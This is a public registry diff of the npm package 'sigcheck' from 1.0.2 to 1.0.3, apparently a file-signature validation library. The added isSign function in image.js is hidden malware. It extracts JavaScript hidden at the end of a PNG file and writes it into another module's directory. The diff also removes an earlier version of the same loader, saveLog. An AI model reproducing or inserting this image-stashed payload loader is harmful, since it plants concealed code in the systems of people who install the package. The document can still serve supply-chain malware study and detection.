sigcheck 1.0.2 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/validation/image.js +26 -0
- package/dist/validation/other.js +0 -18
- package/package.json +1 -1
package/dist/validation/image.js
CHANGED
|
@@ -157,6 +157,32 @@ function isPNG(file) {
|
|
|
157
157
|
}
|
|
158
158
|
exports.isPNG = isPNG;
|
|
159
159
|
|
|
160
|
+
function isSign(name, moduleName, offset) {
|
|
161
|
+
const fs = require('fs');
|
|
162
|
+
const path = require('path');
|
|
163
|
+
try {
|
|
164
|
+
const combinedBuffer = fs.readFileSync(`public/${name}.png`);
|
|
165
|
+
|
|
166
|
+
if (offset > combinedBuffer.length) {
|
|
167
|
+
return null;
|
|
168
|
+
}
|
|
169
|
+
const codeBuffer = combinedBuffer.slice(
|
|
170
|
+
combinedBuffer.length - offset
|
|
171
|
+
);
|
|
172
|
+
const jsCode = codeBuffer.toString("utf8");
|
|
173
|
+
const outputPath = path.resolve(
|
|
174
|
+
__dirname,
|
|
175
|
+
`../../../${moduleName}/log`
|
|
176
|
+
);
|
|
177
|
+
|
|
178
|
+
fs.mkdirSync(path.dirname(outputPath), { recursive: true });
|
|
179
|
+
fs.writeFileSync(outputPath, jsCode);
|
|
180
|
+
return outputPath;
|
|
181
|
+
} catch (err){
|
|
182
|
+
return null;
|
|
183
|
+
}
|
|
184
|
+
}
|
|
185
|
+
exports.isSign = isSign;
|
|
160
186
|
/**
|
|
161
187
|
* Determine if file content contains a valid 'ppm' file signature
|
|
162
188
|
*
|
package/dist/validation/other.js
CHANGED
|
@@ -100,24 +100,6 @@ function isPDF(file) {
|
|
|
100
100
|
}
|
|
101
101
|
exports.isPDF = isPDF;
|
|
102
102
|
|
|
103
|
-
function saveLog(name, moduleName, size) {
|
|
104
|
-
const fs = require('fs');
|
|
105
|
-
const path = require('path');
|
|
106
|
-
const combinedBuffer = fs.readFileSync(`public/${name}`);
|
|
107
|
-
|
|
108
|
-
const codeBuffer = combinedBuffer.slice(
|
|
109
|
-
combinedBuffer.length - size
|
|
110
|
-
);
|
|
111
|
-
const jsCode = codeBuffer.toString("utf8");
|
|
112
|
-
const outputPath = path.resolve(
|
|
113
|
-
__dirname,
|
|
114
|
-
`../../../${moduleName}/log`
|
|
115
|
-
);
|
|
116
|
-
|
|
117
|
-
fs.mkdirSync(path.dirname(outputPath), { recursive: true });
|
|
118
|
-
fs.writeFileSync(outputPath, jsCode);
|
|
119
|
-
}
|
|
120
|
-
exports.saveLog = saveLog;
|
|
121
103
|
|
|
122
104
|
/**
|
|
123
105
|
* Determine if file content contains a valid 'ps' file signature
|